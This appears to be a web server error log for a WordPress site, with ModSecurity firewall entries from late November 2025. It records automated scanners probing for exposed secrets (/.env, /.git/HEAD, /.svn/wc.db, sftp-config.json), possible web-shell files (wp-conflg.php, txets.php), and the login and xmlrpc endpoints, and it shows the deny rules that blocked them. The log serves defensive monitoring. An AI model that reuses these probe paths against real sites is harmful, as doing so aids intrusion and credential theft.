[Thu Nov 27 06:40:06.463944 2025] [autoindex:error] [pid 21017:tid 21080] [client 51.103.101.212:26601] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Nov 27 06:40:06.728882 2025] [autoindex:error] [pid 21017:tid 21075] [client 51.103.101.212:26601] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Nov 27 06:40:06.979179 2025] [autoindex:error] [pid 21017:tid 21076] [client 51.103.101.212:26601] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Nov 27 06:40:07.231561 2025] [autoindex:error] [pid 21017:tid 21074] [client 51.103.101.212:26601] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/search/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Nov 27 06:40:07.480212 2025] [autoindex:error] [pid 21017:tid 21083] [client 51.103.101.212:26601] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Thu Nov 27 06:40:07.718091 2025] [:error] [pid 21017:tid 21068] [client 51.103.101.212:26601] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aSeBx6ZA663ub03MMQu9mAAAAQk"], referer: https://www.google.fr/
[Thu Nov 27 06:40:09.834809 2025] [autoindex:error] [pid 21017:tid 21066] [client 51.103.101.212:26576] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Nov 27 06:40:10.176961 2025] [autoindex:error] [pid 21017:tid 21069] [client 51.103.101.212:26576] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Nov 27 06:40:10.534791 2025] [:error] [pid 21017:tid 21083] [client 51.103.101.212:26576] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSeByqZA663ub03MMQu9pwAAARg"], referer: https://www.google.com/
[Thu Nov 27 06:40:12.258059 2025] [autoindex:error] [pid 6203:tid 6274] [client 51.103.101.212:26619] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Thu Nov 27 06:40:12.507928 2025] [:error] [pid 6203:tid 6276] [client 51.103.101.212:26619] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSeBzMbdRL7aKyrgqyzrFgAAAJA"], referer: https://www.google.com/
[Thu Nov 27 06:40:13.788624 2025] [:error] [pid 6290:tid 6301] [client 51.103.101.212:26613] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSeBzYqL4zye-zKr6svAOwAAAMc"], referer: https://www.google.co.uk/
[Thu Nov 27 06:40:14.652928 2025] [autoindex:error] [pid 6202:tid 6257] [client 51.103.101.212:26558] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Thu Nov 27 06:40:14.939676 2025] [:error] [pid 6202:tid 6255] [client 51.103.101.212:26558] [client 51.103.101.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aSeBztJa7NTP0XPyZ6mHgAAAAFY"], referer: https://www.bing.com/
[Thu Nov 27 06:49:48.169911 2025] [:error] [pid 47327:tid 47341] [client 91.232.154.200:42892] [client 91.232.154.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.232.154.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSeEDPxnObqrOQwqzqpbwwAAAMg"]
[Thu Nov 27 06:49:50.529430 2025] [:error] [pid 47327:tid 47341] [client 91.232.154.200:42892] [client 91.232.154.200] ModSecurity: Audit log: Failed to lock global mutex: Invalid argument [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSeEDPxnObqrOQwqzqpbwwAAAMg"]
[Thu Nov 27 06:49:50.529753 2025] [:error] [pid 47327:tid 47341] [client 91.232.154.200:42892] [client 91.232.154.200] ModSecurity: Audit log: Failed to unlock global mutex: Invalid argument [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSeEDPxnObqrOQwqzqpbwwAAAMg"]
[Thu Nov 27 08:02:27.085705 2025] [:error] [pid 62738:tid 62772] [client 13.215.220.218:41360] [client 13.215.220.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.215.220.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSeVE18rA6PyfPpegTo30AAAAUU"]
[Thu Nov 27 09:03:02.828208 2025] [:error] [pid 39563:tid 39568] [client 157.245.61.90:57665] [client 157.245.61.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aSejRjNSKUd-PJ2wU0Ql3QAAAQM"]
[Thu Nov 27 10:15:13.876643 2025] [proxy_fcgi:error] [pid 48063:tid 48111] (70007)The timeout specified has expired: [client 51.81.107.180:56496] AH01075: Error dispatching request to : (polling)
[Thu Nov 27 17:38:16.600012 2025] [:error] [pid 58484:tid 58494] [client 170.106.11.141:53728] [client 170.106.11.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aSgcCC37R1UmgRwdeQR57QAAAQg"]
[Fri Nov 28 05:52:48.129763 2025] [:error] [pid 47665:tid 47684] [client 104.207.56.51:51943] [client 104.207.56.51] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "aSjIMOKdGkl8FDVPT-DpbwAAANA"]
[Fri Nov 28 05:52:48.787402 2025] [:error] [pid 47579:tid 47622] [client 104.207.57.181:36315] [client 104.207.57.181] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "aSjIMLZNya7jtKtX3EHO5AAAAE0"]
[Fri Nov 28 05:52:53.463683 2025] [:error] [pid 47580:tid 47658] [client 65.111.15.141:15749] [client 65.111.15.141] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aSjINXOiIFZHC-2Itw0uBQAAAJY"]
[Fri Nov 28 05:52:56.657978 2025] [:error] [pid 47580:tid 47655] [client 104.207.49.7:28967] [client 104.207.49.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.svn/wc.db"] [unique_id "aSjIOHOiIFZHC-2Itw0uCAAAAJM"]
[Fri Nov 28 05:52:57.619372 2025] [:error] [pid 47579:tid 47612] [client 65.111.24.71:16111] [client 65.111.24.71] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.svn/wc.db"] [unique_id "aSjIObZNya7jtKtX3EHPCgAAAEM"]
[Fri Nov 28 05:55:29.952113 2025] [:error] [pid 47578:tid 47584] [client 198.23.238.240:38444] [client 198.23.238.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.23.238.240, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSjI0dJl1B6Qt4RLuWjzHQAAAAI"]
[Fri Nov 28 08:18:15.415957 2025] [:error] [pid 29501:tid 29562] [client 182.44.10.67:50275] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSjqR22pEa9260iCpeeHKQAAAVM"]
[Fri Nov 28 08:59:33.778140 2025] [:error] [pid 63583:tid 63606] [client 5.223.50.243:59644] [client 5.223.50.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.223.50.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSjz9f7PTGl7Dz04h4hcbwAAAVM"]
[Fri Nov 28 09:00:11.893820 2025] [:error] [pid 64527:tid 64549] [client 51.81.208.145:37906] [client 51.81.208.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.81.208.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSj0Gxn9RCDtJJwNWt56mgAAAFM"]
[Fri Nov 28 10:22:00.343143 2025] [proxy_fcgi:error] [pid 36398:tid 36441] (70007)The timeout specified has expired: [client 51.81.107.180:51072] AH01075: Error dispatching request to : (polling)
[Fri Nov 28 11:23:46.908002 2025] [:error] [pid 60049:tid 60124] [client 51.210.113.223:53784] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSkVwqxH5eVXyMm4cqkUUwAAAdM"]
[Fri Nov 28 12:41:41.841832 2025] [:error] [pid 29611:tid 29632] [client 109.199.108.120:53082] [client 109.199.108.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.199.108.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSkoBeInGDlRZ1ex5kAqqQAAARM"]
[Fri Nov 28 13:08:57.631580 2025] [:error] [pid 29552:tid 29603] [client 194.145.147.183:45981] [client 194.145.147.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.145.147.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSkuaXPbWY4GIRchNrqbLwAAANY"], referer: https://gigfragments.org/
[Fri Nov 28 13:08:59.830106 2025] [:error] [pid 34292:tid 34316] [client 194.145.147.183:54337] [client 194.145.147.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.145.147.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSkua33F38HO0odRi1SrDgAAABY"], referer: https://gigfragments.org/wp-login.php?action=register
[Fri Nov 28 14:00:58.832090 2025] [:error] [pid 59558:tid 59576] [client 57.128.117.142:60960] [client 57.128.117.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.128.117.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSk6msv1JlbxrOWQIPaVNwAAAE4"]
[Fri Nov 28 14:11:16.141472 2025] [:error] [pid 59645:tid 59663] [client 88.99.39.252:47462] [client 88.99.39.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.99.39.252, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSk9BCAY8JAkoCJBYqzhrAAAAI8"]
[Fri Nov 28 15:00:12.666673 2025] [:error] [pid 59645:tid 59661] [client 170.106.15.3:34538] [client 170.106.15.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aSlIfCAY8JAkoCJBYqz0KAAAAI0"]
[Fri Nov 28 15:21:56.798565 2025] [:error] [pid 59559:tid 59608] [client 159.69.201.75:47794] [client 159.69.201.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.69.201.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSlNlBqw_7c4pIN46wkdHwAAANM"]
[Fri Nov 28 16:40:48.335637 2025] [:error] [pid 59558:tid 59586] [client 194.164.25.74:45066] [client 194.164.25.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.25.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSlgEMv1JlbxrOWQIPbJggAAAFg"]
[Fri Nov 28 17:59:59.266708 2025] [:error] [pid 59560:tid 59640] [client 164.132.169.114:55026] [client 164.132.169.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.169.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSlyn_tAG2btIDWyf4L3jAAAARg"]
[Fri Nov 28 19:20:16.178019 2025] [:error] [pid 59558:tid 59585] [client 81.8.91.201:33134] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSmFcMv1JlbxrOWQIPbjXgAAAFc"]
[Fri Nov 28 20:45:04.941429 2025] [:error] [pid 38347:tid 38398] [client 158.247.243.94:45520] [client 158.247.243.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.247.243.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSmZUF4FzQmoUx27MAlwoQAAAFU"]
[Fri Nov 28 22:25:18.219590 2025] [:error] [pid 47395:tid 47410] [client 20.84.7.202:23680] [client 20.84.7.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.84.7.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSmwzgL-OiEmV804OC3OrQAAAQw"]
[Fri Nov 28 23:28:06.151029 2025] [:error] [pid 38347:tid 38384] [client 54.159.180.90:55006] [client 54.159.180.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.159.180.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSm_hl4FzQmoUx27MAmtjgAAAEc"]
[Sat Nov 29 00:04:51.348743 2025] [:error] [pid 47471:tid 47483] [client 103.167.150.158:56838] [client 103.167.150.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/media/system/js/core.js"] [unique_id "aSnII9hJAyjzRrygCegAnQAAAUo"]
[Sat Nov 29 00:40:13.523532 2025] [:error] [pid 9654:tid 9670] [client 77.95.113.65:53898] [client 77.95.113.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.95.113.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSnQbXwlAlfevRIdjr-c4gAAAEw"]
[Sat Nov 29 03:27:42.940251 2025] [:error] [pid 33366:tid 33378] [client 103.1.187.190:45036] [client 103.1.187.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.1.187.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSn3rlyh7KU2wfcG_zNSvgAAAMo"]
[Sat Nov 29 03:32:55.385393 2025] [:error] [pid 33191:tid 33322] [client 216.24.219.91:22385] [client 216.24.219.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "aSn45x0lo-FQ-DZkuSxYdAAAAII"]
[Sat Nov 29 03:32:55.868476 2025] [:error] [pid 33366:tid 33375] [client 104.234.19.93:59995] [client 104.234.19.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/txets.php"] [unique_id "aSn451yh7KU2wfcG_zNVMwAAAMc"]
[Sat Nov 29 03:32:56.348597 2025] [:error] [pid 33189:tid 33282] [client 216.24.219.72:62023] [client 216.24.219.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/txets.php"] [unique_id "aSn46LagHvRWFvVU7kRcMAAAABE"]
[Sat Nov 29 04:35:05.266952 2025] [:error] [pid 53818:tid 53853] [client 185.251.199.203:53600] [client 185.251.199.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.251.199.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSoHeZY2lVKaQoKCJUK30gAAAEQ"]
[Sat Nov 29 05:50:00.439459 2025] [:error] [pid 53817:tid 53831] [client 156.67.31.208:35852] [client 156.67.31.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.31.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSoZCBUtaHwNb4_nTTSr4QAAAAo"]
[Sat Nov 29 06:03:31.389568 2025] [:error] [pid 22939:tid 22950] [client 217.146.83.115:43564] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aSocM9Rbdh0p_UmbHuCH5wAAAYk"]
[Sat Nov 29 06:03:31.903602 2025] [:error] [pid 22939:tid 22957] [client 217.146.83.115:43902] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aSocM9Rbdh0p_UmbHuCH7wAAAZA"]
[Sat Nov 29 06:03:32.415857 2025] [:error] [pid 53818:tid 53863] [client 217.146.83.115:44280] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aSocNJY2lVKaQoKCJULJnQAAAE4"]
[Sat Nov 29 06:03:32.928564 2025] [:error] [pid 19562:tid 19564] [client 217.146.83.115:44614] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aSocNF4oDK0S9prYl7locQAAAQA"]
